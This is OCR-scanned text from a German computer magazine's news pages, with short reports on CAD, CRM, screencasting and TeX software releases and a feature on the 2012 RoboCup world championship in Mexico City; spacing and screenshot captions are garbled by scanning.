wendungen und Pakete sind jetzt 
a ls  Version 6 Release 201 3 
(V6R20 1 3) zu bekommen. 

Genere l l  sol len s ich d ie An­
wendungen der P lattform auf 
mehr CAD-Dateiformate verste­
hen, was die Zusammena rbeit 
mit Zu l ieferem erleichtern und 
Tei le wiederverwendbar machen 
sol l ,  ohne dass s ie dafür  konver­
tiert werden müssen. Zusätzl iche 
Schn ittste l len  binden Prod ukt­
datenmanagementsysteme an,  
unter anderem SAP.  Außerdem 

ste l l t  Dassau l t  Systemes neue 
Prog rammierschn ittste l l en  zur  
Verfügung, etwa fü r Roboterpro­
g rammierung und Masch inen­
steuerung. 

Viele e inze lne Anwendungen 
br ingen da rüber h inaus spezie l le 
Neu heiten mit. Cat ia beispie ls­
weise bietet i n  V6R20 1 3  eine ei­
gene, Produktmanager-kompati­
ble Anwendung namens Live 
Weight, mit der sich in wenigen 
Kl icks prüfen lässt, ob die einzel­
nen Komponenten eines Strah l ­
tr iebwerks oder  e ines  ähn l ich 
komplexen Projekts d ie Ge­
wichtsvorgaben e inha lten wer­
den, ohne dass der Anwender 
dazu das deta i l l ierte CAD-Model l  
i n  Einzeltei le zerlegen muss. Röh­
ren, hydrau l ische und elektrische 
Systeme lassen sich als Blockdia­
gramme oder schematische 
Zeichnu ngen mit Standa rdsym­
bolen entwerfen, verfeinern und 
prüfen.  S imul ia  kan n  mit u nter­
schied l ichen Dicken bei F lächen­
objekten umgehen, 3Dvia Studio 

Modellieren und simulieren 

Die 3D-Konstruktions- und Mo­
del l iersoftwa re So l id  Edge ST5 
von Siemens PLM Software fasst 
auf Wunsch i mport ierte Bau­
gruppen zu monol ithischen E in­
zeltei len zusammen. Um Entwür­
fe verschiedenen Produ ktions­
prozessen anzupassen, lassen 
sich Ei nzeltei le weiter aufspalten 
oder neu kombin ieren. Aus d rei­
d imensional entworfenen Blech­
te i len erzeugt die Anwendung 
zweidimensionale Zeichnungen 
der Roh l i nge und füh rt d ie not­
wendigen Biegesch ritte a l s  Ta­
bel len auf . . E in  integ rierter Si-

m u lator auf Bas is  des F i n ite­
Elemente-Analyse-Werkzeugs Fe­
map desselben Herste l l e rs be­
rechnet das thermische Verha l ­
ten von mechanischen und elek­
tromechan ischen Systemen. E in 
spezie l l  vere i nfachter 2D-Zei­
chen mod us so l l  er le ichtern, Ka­
be lbäume zu p lanen .  Fü r  d ie  
Da rste l l ung von Sol id-Edge-Mo­
de l len auf dem. i Pad steht e ine 
kosten lose App zur  Verfügung .  
Sol id Edge ST5 i s t  ab Ju l i  erhä lt­
l ich .  (pek) 

www.d.de/11 1 5031 

Ein spezielles Werkzeug in Solid Edge STS fräst Schl itze 
in Bauteile, in die andere Teile hineingreifen. 
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SolidWorks Plastics h i lft beim Entwurf von Werkstücken 
und Formen für die Fertigung im Spritzguss. 

Pro bietet eine eigene Bau m­
bib l iothek, mit  der s ich U mge­
bungen etwa von Gebäuden rea­
l i st ischer darste l len lassen. 

Neben der 3DExperience P lat­
form hat Dassau l t  Systemes 
zudem Sol idWorks P lastics he­
rausgebracht. Diese Software i st 
vol l ständig in d ie 3D-Konstrukti­
onsanwendung Sol idWorks inte­
griert und bietet speziel le Werk-

@ Notizen 

Geneious Pro i st eine Spezia l ­
software fü r d ie ONA-Sequen­
zieru ng.  Vers ion 5.6 verfo lgt 
K lon-Operat ionen und  so l l  
auch mit  g roßen Datensätzen 
bis h i n  zum mensch l ichen 
Genom zu rechtkommen.  Die 
Java-Anwendung läuft u nter 
Windows, Mac OS X und L inux. 
Die Basis-Ausgabe ist g ratis, die 
Preise fü r die Pro-Version rich­
ten sich nach Nutzungsdauer  
und E insatzzweck und reichen 
von 39 bis 3995 US-Do l l a r. 

Fü r  Version 1 5 .9 des kosten lo­
sen Mathematikpa kets Eu ler  
Math Tool box haben d ie  Ent­
wickler d ie 3D-Da rste l l ung von 
P lots m it H i lfe von POV-Ray er­
weitert. 

Der kosten lose Webdienst C i r­
cu itlab fü r den Schaltungs­
entwurf im  Browser sol l  s ich 
jetzt auch mit  Safar i  a uf iOS­
Mobi lgeräten benutzen lassen. 
Die Setre iber haben eine On­
l i ne-Dokumentation zu den im­
plementierten Touch-Gesten 
veröffentl icht. 

Die - 30-Animationssoftware 
Cinema 4D steht Studenten 
und Schülern gegen Nachweis 

zeuge, um Spritzgusstei le zu ent­
werfen.  Daneben s imu l iert d ie 
Software Änderungen a n  der 
Geometr ie des Tei l s  oder der 
Gussform, beim Materia l  und den 
Bed ingu ngen bei der Vera rbei­
tung. Die Anwendung ist vorerst 
n u r  in Nordamer ika erhält l ich,  
weitere Reg ionen und Länder 
sol len noch i n  d iesem Jahr  h inzu­
kommen. (pek) 

kosten los zur  Verfügung 
(Down load s iehe c't-Li nk) .  Der 
Funkt ionsumfang ä h nelt der 
kommerzie l len Vers ion.  Nach 
1 8  Monaten kan n  die Lizenz 
du rch erneuten Nachweis ver­
längert werden.  

Tu l i p  ist e ine kosten lose An­
wendung  fü r Visualisierun­
gen, steht u nter der LGPL und 
läuft u nter Windows, Mac OS X 
sowie L inux.  Vers ion 3.8.0 bie­
tet e ine erweiterte Python­
Schn ittste l l e  und einen kom­
fortableren Ed itor fü rs Skripten. 

Vers ion 4.20 des g rafischen 
Rechners- RedCrab lässt s ich 
mit  e iner i nteg rierten Sprache 
programmieren, füh rt PHP-Pro­
g ramme aus  und  g reift auf 
Excei -Tabel len ,  Access- sowie 
MySQL-Datenbanken zu - a l ­
lerd ings nu r  i n  der P lus-Version 
fü r 20 US-Dol la r  fü r zwei Lizen­
zen und e in Jahr. Die Basisaus­
gabe ist g ratis. 

Der 30-0ruck-Webdienst i .ma­
teria l ise hat Bronze i n  den Kata­
log se iner  Materia l ien aufge­
nommen. 

www.d.de/1115031 
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aktuell ! Anwendungen 

Agiles Projekt­
management im Web 

Der Webdienst Projectplace zur 
kooperativen Projektverwa ltung 
umfasst in  sei ner jüngsten Aus­
gabe sogenannte Action boards 
zur  Verte i l ung  anstehender Ar­
beitssch ritte auf d ie  Tea mmit­
g l ieder. Darauf ersche inen d ie  
Deta i laufgaben des Projekts mit  
ku rzen Beg leit- und Status i nfor­
mationen wie auf  e iner  P i nn­
wand.  Sofern da runter noch 
kein  verantwort l icher Bearbeiter 
erscheint, steht es jedem Team­
mitg l ied frei, sich selbst fü r d iese 
Rol le  ei nzutragen. Ebenfa l l s  neu 
e ingefü h rte P rog ress Widgets 
sammeln kontinu ier l ich I nforma­
tionen zum Fortsch ritt der e in­
zelnen Pakete, und eine Timel ine 
sol l verdeut l ichen,  wen n  bei 
e iner Aufgabe Terminprobleme 
d rohen.  Den zu Gebü h ren ab 
25 Euro je N utzer und  Monat 
abon n ierbaren Dienst ka nn  
man  30 Tage l ang  kosten los tes­
ten. (hps) 

NewactJon 

Sign up Episerver consuttants 

Assigned: Per �ng 
� Oue 0a18: · 

we &hould have ttle sarne consuttants as we 

dld lhe last lime • worked 

Ab�ity to distribute/deploy 
from M ß..BET A to APPS­
BETA at Release Day 

AWgned· Adam Jadoon 
� Oue Date: 9 May 

Add 

/ 

lmplementation 
_. ... On 

Set up code review for the 
consultants 

Asslgned: Knsta Hawsrd 
r:;} Due Date: 9 May 

Deflne users and workflow 

Aaslgned- QJe Oshlstr6m 
t:J Oue Date: 1 6 Mar 

Load Balancer · Create the 
new BETA rules 

Aui!J""" Ge<Hve """' 
� Due Dale: · 

ldentify tasks and URLs by 
resource type. 

A&signed· Adam Jada;o(! 
l::j Due Date: 10 May 

• Create user lOs anti groups. - TIVOli 

BuSiness Syslems Manager oper 

/ 

+ 

/ 

Deflne the server 
conf9uration. 

A.sNgnacr ate Dt.htM'Om 
� Oue Date: 14 Mar 

Oef10e lhe relationship 
between resources. and 
business systems. 

N..slgned: unB&Sigi'Hfd 
r.:::l Due Date. 9 May 

/ nvoli Business SyH!ms Mana�r SOl server 

obs Soun:eß90 redisaJYer 

nvestigate Consultants 

/Usigned: Geolpr(t Soolr 

� Oue Oate: · 

SSO should worX for the 
Intranet implementation 

AJWgnoo.- Olle Dal'ltstrom 
1!!1 Due Date:· 

.. 

/ 

/ 

/ 

www.ct.dt/1215034 
Das Actionboard von Projectplace unter dem Dach der Timeline vermittelt 
Detai l- Infos zu a l len anstehenden Arbeitspaketen.  

CRM mit freien Landkarten 

Der CRM-Spezia l ist CAS baut bei 
seinem F laggsch iff Genesis­
World x4 fü r Betriebe mit 50 
oder mehr N utzern besonders 
darauf, deren Außend ienstier zu 
unterstützen.  Mit einer i Pad-App 
lassen sich Auskünfte bis hin zu 
Geschäftsberichten und offenen 
Posten vom Server abrufen. Kon­
taktadressen visua l i s iert das Sys­
tem auf OpenStreetMap-Karten.  
Dabei  offeriert es e ine Umkreis-

Zeige Adressen: 

I Vertr1ebspartner 

Im Umkreis von. 30km 

um: 

e Dieselstrasse 176 I Ettllngen 

3001<m 

:J ln Liste anzeigen (2) 

suche, und eng beiei nander l ie­
gende Adressen gruppieren s ich 
laut  Herste l le r  auch bei m He­
rauszoomen lesbar auf der Land­
karte. 

Au ßerdem so l l  das  System 
Konta ktdaten jetzt mit M ic ro­
soft Exchange synch ron i s ie ren 
kön nen,  be im Aufba u e ines  e i ­
genen Support-Porta l s  und  der  
P l anung  von Vera nsta l tungen 
helfen .  (hps) 

GenesisWorld x4 platziert die Adressen von Geschäftspartnern 
auf Karten des OpenStreetMap-Projekts. 
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Office-Dokumente retten 

Der Daten rettungsspezia l i st Re­
coveron ix  b ietet e inen Web­
dienst zur Wiederherste l lung be­
schäd igter Office-, PDF- und  
B i lddateien an .  OfficeRecovery 
On l ine  unterstützt knapp 40 
Dateiformate wie Word, Excel ,  
PowerPoint, Access, PDF, d iverse 
B i ldformate und E-Ma i l -Arch iv­
Dateien von Lotus Notes, Out­
look und Exchange.  Nach dem 
U pload der beschäd igten Datei­
en auf die Website können N ut-

ladba rer Vorschaudateien über­
prüfen, ob d ie Reparatur wie ge­
wünscht funktioniert hat. Für den 
sofortigen Download des nutz­
baren Doku ments s ind dann 
knapp 32 Euro pro Datei zu zah­
len, a lternativ kann  man das Er­
gebnis nach 1 4  Tagen g ratis he­
runter laden. Ü ber verschiedene 
Abo-Angebote lassen s ich meh­
rere Dateien g ünstiger wieder­
herste l len .  (db) 

zer zunächst anhand herunter- www.ct.dt/1275034 

Cloud-Firmensoftware 
Laut Herste l l e r  Wec lapp s ind  
dessen Webd ienste fü r Wa ren­
wi rtschaft, CRM, Kundend ienst 
sowie zur Verwa l tung von P ro­
jekten, Verträgen und  Mobi lge­
räten vol l ständ ig auf deutschen 
Servern beheimatet und u nter­
l iegen e iner zertifiz ierten S icher­
heitsüberwachung  gemäß der  
Norm ISO 2700 1 . D ie zum Tei l  
kosten losen D ienst-Abos zeich­
nen s ich d u rch u ngewö h n l iche 
F u n kt ionsaufte i l ungen aus :  An­
gebotserste l l ung  und Art i kelver­
wa ltu ng gehören demnach zum 
CRM-Mod u l ,  e in  Ken nza h len-

Cockpit fi ndet s ich im  Kunden­
d ienst-Mod u l  "He l pdesk". Für  
d ie  Auftragsverwa ltung g i bt es  
kei n  e igenes Mod u l ; v ie lmehr  
haben d ie  Entwickler Funktio­
nen zur Angebots- und Auf­
tragsverwa ltung,  fü r Liefervor­
sch lags l isten, d ie  Vera rbeitung 
von Anza h l u ngsrech n u ngen so­
wie zur Kontro l l e  von Kosten­
ste l l en  im  Bere ich Warenwi rt­
schaft angesiedelt. Als Testan­
gebot g i bt es jedes Abo auch 
g ratis .  (hps) 

www.ct.dt/1 2 75034 
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Flüssige Bi ldschirmvideos 

Das Screencast-Tool Camtasia 
Studio 8 so l l  dank verbesserter 
Eng ine sch ne l ler  a rbeiten a l s  
se in  Vorgänger  und  H O-Videos 
i n  fl üss igen B i ldern aufnehmen 
·können. Die Timel ine u nterschei­
det n icht mehr zwischen Video­
und Audiospur - jede Spur  kann  
E lemente a l ler  Art a ufnehmen.  
Spuren lassen s ich a ußerdem 
gruppieren, sodass s ich Bestand­
tei le  beim Zoomen und Schwen­
ken zusa mmen bewegen .  Die 
Med ienb ib l iothek hat der Her­
ste l ler  TechSmith u m  neue The­
menvor lagen aus  aufeinander  
abgesti mmten H i ntergru ndb i l ­
dern ,  Videos und C l ip-Art-Grafi­
ken erweitert. Videos aus an­
deren Que l len (AVI, MOV, MP4 
und WMV) lassen s ich ebenfa l l s  
e inbinden.  

- c..... ---· �· ........ 1 
· CIIN- 1-*l 
- c- - --- J 
a c..... ......... , 

-
-

Bei Qu iz-Abfragen,  welche 
man m it dem Prog ramm formu­
l ie ren und auf den Schirm br in­
gen kann,  l ießen s ich d ie Resu l ­
tate b isher  nur  a n  eLea rn i ng­
Server senden; mit Camtasia 8 
bietet TechSmith e inen Dienst 
an ,  der  d i e  Auswertungen auf  
Wunsch anonym oder  persona l i ­
siert per E-Mai l  verschickt. Screen­
casts lassen sich n u n  mit dem 
Smart P layer u nter N utzung von 
F lash  und  HTML5 fü r iOS- und  
Android-Geräte ausgeben. 

Camtasia Studio 8 steht ab so­
fort auf Engl isch für 265 Euro zur 
Verfügung. Eine deutsche Version 
sol l im Herbst fo lgen.  Wer jetzt 
kauft, bekommt d ie deutsche 
Fassung nachgel iefert. (akr) 

www.ct.de/1 2 15034 

Camtasia Studio 8 hat eine vereinfachte Timeline erhalten: 
Jede Spur kann Bi ldschirmaufnahme, Webcam-Video, Audio 
oder Grafik enthalten. 

c't 201 2, Heft 1 5 

aktuel l ! Anwendungen 

TeX Live, Jahrgang 201 2 

U ngefä h r  g le ichzeit ig m it d ie­
sem Heft soll TeX Live 201 2, d ie 
aktua l i s ierte, plattformüberg rei­
fende Distr ibut ion des freien 
Textsatzsystems, a ls  herunterlad­
bares ISO- Image erscheinen. Die 
korrespond ierende TeX Col lec­
tion so l l  im Herbst in den Buch­
handel kommen. Für  Mac-Benut­
zer empfieh lt s ich stattdessen 
das Metapaket MacTeX m it weit 
re ichender I ntegration i n s  Be­
triebssystem. Sie sol lten sich im 
Web über die neuen Eigenschaf­
ten des U pdaters fü r Mapping­
Dateien i nformieren (s iehe c't-
L ink) .  

' 

l n  beiden Neuausgaben kann 
dvips jetzt d ie 35 Standard-Post­
Scr ipt-Fonts in Ausgabedoku­
mente e inbetten, und die Grö­
ßenbegrenzu ng von 2 GByte 
entfä l lt sowoh l  fü r dvips a l s  auch 
fü r d ie  Erweiterung pdfTeX. ln 
der Engine XeTeX wurde der Pa­
rameter \XeTeXdashbreakstate 
dem Standard anderer TeX-Engi­
nes angepasst; wer für Kontinu i­
tät beim Umbruch sorgen möch­
te, muss ihn ausd rückl ich zurück 
auf nu l l  setzen.  

(Dr. Jü rgen Fenn/hps) 

www.ct.de/1 2 15034 

@ An�endungs-Notizen 

Die Bildverwa ltung Media 
Pro 1 .3 sol l  nun Vorschaubi lder 
mit bis zu 3200 Pixe ln Kanten­
länge erzeugen und besser mit 
g roßen Kata logen umgehen 
kön nen.  Außerdem hat Phase 
One d ie  Rohdatenunterstüt­
zung a uf den neusten Stand 
gebracht. Media Pro kostet 
1 65 Eu ro; e ine 60-Tage-Testver­
sion für Windows und Mac OS X 
steht zum Download bereit. 

Im Rahmen seines.Abo-Model ls  
Creative Cloud vertreibt Adobe 
neben a l len Anwendungen der 
Creative Su ite Master Col lecti­
on n u n  auch den Foto-Ent­
wickler Lightroom 4. 1 .  Das 
Cloud-Abo kostet monatl ich 62 
Euro, wenn  sich der Kunde auf 
m indestens e in  Jahr festlegt 

oder 92 Euro mit monatlichem 
Kündigungsrecht 

Unter dem Namen Magix 
Foto & Grafik Designer 201 3 und 
zum Preis von 70 Euro ist das 
Grafikpaket Xara Photo & Gra­
phie Designer MX mit deutscher 
Bed ienoberfläche erschienen. 
Eine Testversion lässt sich gratis 
herunterladen. Die erweiterte 
Pro-Version des Pakets g ibt es 
vorerst nur  auf Engl isch. 

Der kosten lose Unicode-Edi­
tor Babelpad 6.1 erste l lt Win­
dews-Textdateien mit Zeichen­
sätzen gemäß Un icode 6.1 . Das 
Prog ramm läuft in der aktuel­
len Ausgabe unter Windows ab 
Version 2000. 

www.ct.de/7 2 7 5034 
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aktuell ! RoboCup-WM 

Dr. Hans-Arthur Marsiske 

Goooool ! 
Gelu ngene RoboCu p-WM-Prem iere 
in  Mexi ko 

Zum ersten Mal  fa nd das g rößte Roboterturnier der Welt 
in einem lateina merikan ischen La nd statt. Sicherheits­
bedenken erwiesen sich als u n begrü ndet: Die diesjährige 
RoboCu p-WM l ief ohne g rößere Störungen a b, zog viele 
Zuschauer an und kon nte wieder einige Neuerungen 
bieten. Probleme könnten sich jedoch zukünftig bei  der 
Finanzieru ng der immer teu reren Roboter ergeben.  

M exikaner treffen gern Besu­
cher aus dem Aus land", 

sagte Jesus Savage auf d ie F rage, 
wa rum so viele Studenten s ich 
bereit erklärt hätten, bei der 
Durchführung der 1 6. RoboCup­
Weltmeisterschaft in Mexi ko­
Stadt zu helfen. Der E lektroinge­
nieur von der Un iversidad Nacio­
nal Aut6noma de Mexico hatte 
zuspmmen mit Alfredo Weitzen­
feld (Un iversity of South F lorida) 
e ine g roße Schar studentischer 
Helfer mobi l i s iert, d ie  d ie  etwa 
2000 Besucher des Robotertur­
n iers schon am F lughafen i n  
Empfang nahmen u n d  während 
der fo lgenden Woche mit vie l  
Enth us iasmus fü r einen rei­
bungslosen Ablauf der Veran­
sta ltung sorgten.  

"Die g rößte Herausforderung 
war die F inanzierung", so Savage. 
E in wichtiger Sponsor habe erst 
einen Monat vor Tu rnierbeg inn  
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das versprochene Geld überwie­
sen, die letzten Zah iungen seien 
eine Woche vor dem Anpfiff ge­
kommen. Doch die Mühe habe 
s ich gelohnt. Besonders freue 
s ich Savage über den Zuspruch, 
den der Nachwuchswettbewerb 
RoboCup J unior gefunden hat. 

" Im  Jahr  2006, als ich das erste 
Mal am RoboCup  tei lnahm,  gab 
es be i  RoboCup Jun ior kein  einzi­
ges Team aus Lateinamer ika", 
sagt er. "Für  d ie Weltmeister­
schaft in Mexiko-Stadt haben sich 
jetzt 1 8  mexikan ische Teams mit 
1 24 Tei lnehmern angemeldet 
sowie 1 3  Teams mit 90 Tei l neh­
mern aus Brels i l ien." Für  die Aus­
b i ldung des wissenschaftl ichen­
techn ischen Nachwuchses be­
deute das einen starken Schub. 

U rsprüng l ich  hatten a n  den 
RoboCup-Weltmeisterschaften, 
d ie seit 1 997 a l ljähr l ich ausgetra­
gen werden, aussch l ieß l ich Wis-

senschaftlertea ms tei lgenom­
men, d ie  Roboter fü rs F u ßba l l ­
sp ie l  konstru ierten und  pro­
g rammierten. Der Kam pf ums  
Leder sol lte d ie  öffent l iche Auf­
merksam keit fü r Forschungen 
zur  Künstl ichen I nte l l igenz be­
fördern, d iente aber auch a l s  
e inheit l iche Testumgebung, u m  
d ie  Leistu ngen kooper ierender 
Teams a utonomer Roboter ver­
g leichen zu können.  Das ehrgei­
zige Ziel der I n itiative ist der Sieg 
e ines Teams von elf humanoiden 
Robotern über den amtierenden 
mensch l ichen Fu ßba l lweltmeis­
ter bis zum Jahr  2050. 

I nzwischen ste l len jedoch d ie 
J u n iorteams rege lmäß ig  etwa 
die Hä lfte der Tei l nehmer und es 
geht l ängst n icht mehr  a us­
sch l ieß l i ch  um Fußba l l .  Es g i bt 
Wettbewerbe fü r Rettungs-, 
Hausha lts- und Industrieroboter, 
d ie  s ich sowohl  in der Real ität a l s  
;;!UCh i n  S imu lationen bewähren 
müssen.  Bei RoboCu p  J u n ior  
zieht der Tanzwettbewerb stets 
viel Pub l i ku m  an .  E in  J u n ior­
Team vom Georg-Büchner-Gym­
nas ium aus dem n iedersächs i ­
schen Seelze belegte im Wettbe­
werb Rescue A, Secondary mit  
e inem Mindstorms-NXT-Roboter 
den ersten P latz und  wurde 
damit Weltmeister. Enno Röhrig 
( 1 7) und sein Team-Ko l lege Edu­
a rd l ljasov ebenso brachten dem 
Roboter bei , ein Katastrophen­
Szenario zu d u rchfah ren und e in 

"Opfer" zu bergen.  

Der Ball ist rund 

Im  Mitte lpunkt der  Veransta l­
tung steht aber nach wie vor der 
Fußbal l .  So waren es denn auch 
d ie Spie lfe lder der h umanoiden 
Roboter, d ie  d ie  Besucher der 
RoboCu p-WM zuerst sahen,  
wen n  s ie d ie g roße Hauptha l l e  
im  World Trade Center i n  Mexico 
City betraten. Auf der einen Seite 
kickten die Roboter der H uma­
noid League, d ie von den Teams 
selbst konstru iert werden kön­
nen, i n  den Größenklassen Kid 
Size (30-60 cm),  Teen Size 
(90- 1 20 cm) und Adu l t  S ize 
(über 1 30 cm) .  Daneben waren 
d ie Teams der Standard P latform 
League untergebracht. S ie ver­
wenden den 58 Zentimeter g ro­
ßen zweibe in igen Nao-Roboter 
der F i rma Aldebaran, an dessen 

l n  den Hal len der RoboCup­
WM war Platz genug, 
um mehrere Turniere 
para l lel laufen zu lassen. 

Der schönste Roboter im 
Wettbewerb, ausgezeichnet 
mit dem Louis Vuitton 
Best Humanoid Award: 
Copedo vom Team NimbRo 

Hardware n ichts verändert wer­
den da rf. Es geht aussch l ieß l ich 
um d ie Prog rammierung. Weiter 
h i nten in der Ha l l e  fo lgte d ie  
Smal l  Size League, deren radge­
tr iebene Roboter a uf die B i lder 
e iner  ü ber  dem Spie lfe ld mon­
t ierten Kamera zugreifen .  Dort 
fand s ich zudem d ie aufwendig 
gesta ltete Arena der Rescue 
Robot League fü r Rettungsrobo­
ter sowie die Bereiche der eher 
i ndustr ie l l  a usgerichteten Wett­
bewerbe RoboCu p@work und 
Festo Logistics Leag ue, d ie s ich 
noch i n  der Erprobung befi nden. 

Die Jun iorwettbewerbe waren 
in  einer ähn l ich g roßen Ha l le im 
zweiten Stock u ntergebracht. E in 
paar Sch ritte davon entfernt 
m ussten die Hausha ltsroboter 
der RoboCup@home League i n  
einem eigenen Raum schwierige 
Aufgaben lösen, daneben tei lten 
sich die Rescue S imu lation Lea­
g ues einen Raum mit den rol len­
den Robotern der Midd le S ize 
League. 

Am abgelegensten waren die 
Fußba l l-Simu lationswettbewerbe 
u ntergebracht. N u r  wenige Zu­
schauer verirrten sich hierher, ob­
woh l  d ies bis lang die einzigen Be­
gegnungen s ind,  bei denen tat­
säch l ich elf gegen elf Spieler an­
treten.  Insbesondere d ie Spiele 
der 2D S imu lation League kön­
nen es an  Tempo und Komplexi­
tät der Spielzüge du rc�aus mit 
dem menschl ichen Fußba l l  auf­
nehmen. Wie h ier  d ie Spitzen­
teams mit Ku rzpässen und ra­
schen F lügelwechseln versuch­
ten, d ie gegnerische Verteidi­
gung aufzubrechen, er innerte 
teilweise an Szenen aus der zeit-
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Kühlspray und Ersatztei le 
reichten bei den Darmstadt 
Dribblers gerade so, um das 

Spiel um den dritten Platz 
erfolgreich zu überstehen. 

gleich laufenden Fußbal l -Europa­
meisterschaft. Zwar können d ie 
zweidimensionalen Spieler man­
ge ls  Gl iedmaßen n icht mit Ba l lar­
tistik und packenden Zweikämp­
fen aufwarten, doch wer n icht si­
cher und schne l l  dr ibbeln kann ,  
zu ungenaue Pässe sch ießt oder 
über zu wenige taktische Varian­
ten verfügt, hat keine Chance, 
einen der vorderen P lätze zu er­
reichen. 

ln der d re id imens iona len Si­
mu lation laufen d ie Spiele lang­
samer ab, dafü r  werden h ier 
physika l ische Kräfte wie Gravita­
tion und Reibung berücksichtigt. 
Mit v i rtue l len Nao-Robotern auf 
einem 20 mal 30 Meter g roßen 
Spie lfe ld entsprechen d ie  Grö­
ßenverhä ltn isse dem mensch l i­
chen Fußba l l .  Spielentscheidend 
sind aber zu meist g rund legen­
dere Fert ig keiten wie stab i les 
Laufen und Kicken.  Wichtige M i l­
l i seku nden gewin nt man etwa, 
wenn s ich die Spie ler  bereits 
beim Laufen zum Ba l l  i n  d ie rich-

' t ige Schussr ichtung ausrichten. 

Offene Plattformen 

Noch n icht s imu l iert werden Fak­
toren wie Erh itzu11g der Motoren 
oder Trägheit der Gelenke, d ie  
wiederum be i  den rea len Robo­
tern über Sieg oder N iederlage 
entscheiden kön nen.  So hatten 
die Darmstadt Dr ibblers (TU 
Darmstadt) am Ende des Turniers 
sämtl iche Servomotoren aufge­
braucht und kau m  noch Küh l ­
spray übrig, konnten s ich aber  in  
der Humanoid League K id  Size 
über e inen d ritten P latz freuen.  
Weltmeister wurde wie im  ver­
gangenen Jahr  das Team DAR­
win von den US-Un iversitäten 
Virg in ia  Tech und U n ivers ity of 
Pennsylvan ia, die dem von ihnen 
selbst entwickelten Roboter Dar­
win e in ige schöne Kunststücke 
beigebracht hatten .  So stand er 
nach einem Stu rz mit einer Rol le  
rückwärts auf, wenn s ich vor ihm 
ein H indernis befand, und konn­
te aus dem Laufen heraus kicken, 
indem der letzte Schritt vor Errei­
chen des Ba l l s  etwas kräft iger 
ausgefüh rt wu rde . .,Wi r  nennen 
es wa lk-kick", er läuterte e in  
Teammitg l ied. 

Der Da rwi n-Roboter wird in ­
zwischen von der  südkorean i -
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sehen F i rma Robotis a l s  Open­
Sou rce-Plattform vermarktet und 
von v ie len RoboCup-Teams ver­
wendet. Der Wechsel  auf e ine 
neue P lattform i st zwar immer  
mit Problemen verbunden, wes­
wegen die Qua l ität der Spie le in 
d iesem Jahr  i nsbesondere in der 
Vorrunde n icht immer überzeu­
gen kon nte. Der RoboCup-Neu­
l ing RoB IU  aus  I s rael konnte mit 
se inen Darwins  a ber  i m merh in  
a uf Anh ieb das  Viertelfina le  er­
reichen.  

Der Wettbewerb i n  der  Teen 
Size der H u manoid League 
kön nte auf ähn l iche Weise du rch 
eine offene P lattform belebt 
werden, d ie  das  Team N i mbRo 
(Un i  Bonn) gemeinsam mit  Ro­
botis entwickelt hat. S ie beruht 
a uf dem Roboter Copedo, der 
erstma ls  bei e inem RobeCup­
Tu rn ier  a ntrat und  i n  e inem 
spannenden F ina le  entschei­
dend zum 6:3-Sieg über das  ja­
pan ische Team CIT Bra ins  bei­
trug, den Spezia lwettbewerb 
Techn ica l  Cha l lenge mit  s icher 
ausgefüh rten Einwürfen gewann 
und den bereits seit 2002 ausge­
lobten Louis Vu itton Best H uma­
noid Award gewann .  Der Robo­
ter, der u ngefä h r  20 000 Euro 
kosten so l l ,  kön nte es neuen 
Teams ermög l ichen, auf hohem 
N iveau i n  d ie  Teen Size e inzu­
steigen. Je mehr s ich d ie huma­
noiden Roboter mensch l ichen 
Körpermaßen annähern, desto 
teurer werden s ie.  Immer  weni­
ger  Teams dü rften dann fi nan­
ziel l i n  der Lage se in ,  e ine kom­
p lette Fußba l lmannschaft zu un­
terhalten. Mehr  und  mehr  wi rd 
daher über gemischte Teams ge­
sprochen, d ie aus Robotern ver-

Die Spieler von B-Human und 
TI-UT Austin Vi l la werden 

vor dem Finale der Standard 
Platform League mit Energie 
aufgeladen und bekommen 

letzte Instruktionen. 

schiedener Un iversitäten zusam­
mengesetzt sein könnten. 

Orientierungsprobleme 

Da die Tore in  der Standard P lat­
form League n icht mehr du rch 
versch iedene Farben untersch ie­
den s ind,  mussten die Teams 
neue Verfahren für die Selbstloka­
l is ierung der Spieler entwicke ln .  
E ine Mög l ichkeit i st  es ,  s ich an 
optischen Merkmalen außerha lb 
des Spielfeldes zu orientieren, d ie 
s ich aber im Verlauf eines Spiels 
verändern können.  Viele Teams 
stützen s ich daher auf d ie Kom­
mun ikation der Roboter u nter­
e inander, wobei dem Torwart, 
der ja zumeist in der eigenen 
Hä lfte bleibt, die wichtigste Rol le  
zukommt. Er  kann  den übrigen 
Spie lern mittei len, in welche Rich­
tung s ie kicken müssen - sofern 
das WLAN nicht gestört ist. Das 
kam leider häufiger vor und trug 
dazu bei, dass der mehrfache 
Weltmeister B-Human (Uni Bre­
men) den Titel diesmal im F ina le 
an  TT-UT Austin Vi l l a  aus Texas 
abgeben musste. 

Zu den weniger zuschauer­
freund l ichen Ligen beim Robo­
Cup zäh lt die Rescue Robot Lea­
gue, deren Wettbewerb sich in 
e iner bewusst unübersichtl ich 
gesta lteten Arena abspielt und 

aktuell I RoboCup-WM 

nach einem kompl izierten Punk­
tesystem bewertet . wird. Durch 
die enge Abstimmung mit dem 
US-amerikanischen National insti­
tute of Standards and Technola­
gy (N ISD gilt sie aber zugleich a ls 
eine der am besten organisierten 
Ligen und genießt auch außer­
ha lb des RoboCup große Aner­
kennung.  Bei der Suche nach 
Überlebenden in  einem nachge­
ste l lten Katastrophenszenario ist 
d ie Fernsteuerung der Roboter, 
anders a ls  bei den übrigen Robe­
Cup-Wettbewerben, zugelassen. 

B is lang wurde der Wettbe­
werb dann auch von sehr mobi­
len, ferngesteuerten Robotern 
domin iert. ln diesem Jahr jedoch 
erreichte das Team Hector von 
der TU Darmstadt Platz zwei der 
Gesamtwertung. Damit kam zum 
ersten Mal überhaupt ein vol l ­
ständig autonom fah render Ro­
boter u nter d ie ersten d rei .  Ge­
samtsieger wurde mit MRL von 
der Qazvin ls lamic Azad Un iversi­
ty ebenfa l l s  erstmals ein i ran i­
sches Team. 

Tei l nehmer aus  dem I ran 
waren i n  d iesem Jahr  trotz der  
weiten Anreise zah lenmäßig sehr 
stark vertreten, weil die E inreise­
formal itäten für Mexiko weniger 
streng s ind a ls  in  vielen anderen 
Ländern. Die meisten Teams 
kamen jedoch aus Deutschland, 
obwohl  im Juniorbereich Sicher­
heitsbedenken viele von einer 
Tei lnahme abgeha lten haben 
mögen. 

Im kommenden Jahr dürfte es 
solche Bedenken nicht geben. 
Die geografische Nähe des Aus­
tragungsortes Eindhoven für die 
RoboCup-WM 20 1 3  könnte sogar 
zu einer Rekordbetei l igung deut­
scher Teams füh ren. Danach ist 
dann erneut Lateinamerika dran: 
Als Austragungsort für die Welt­
meisterschaft 201 4 entsch ied sich 
die RoboCup Federation für Joäo 
Pessoa in  Brasi l ien. (dab) 
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aktuell ! Roboter 

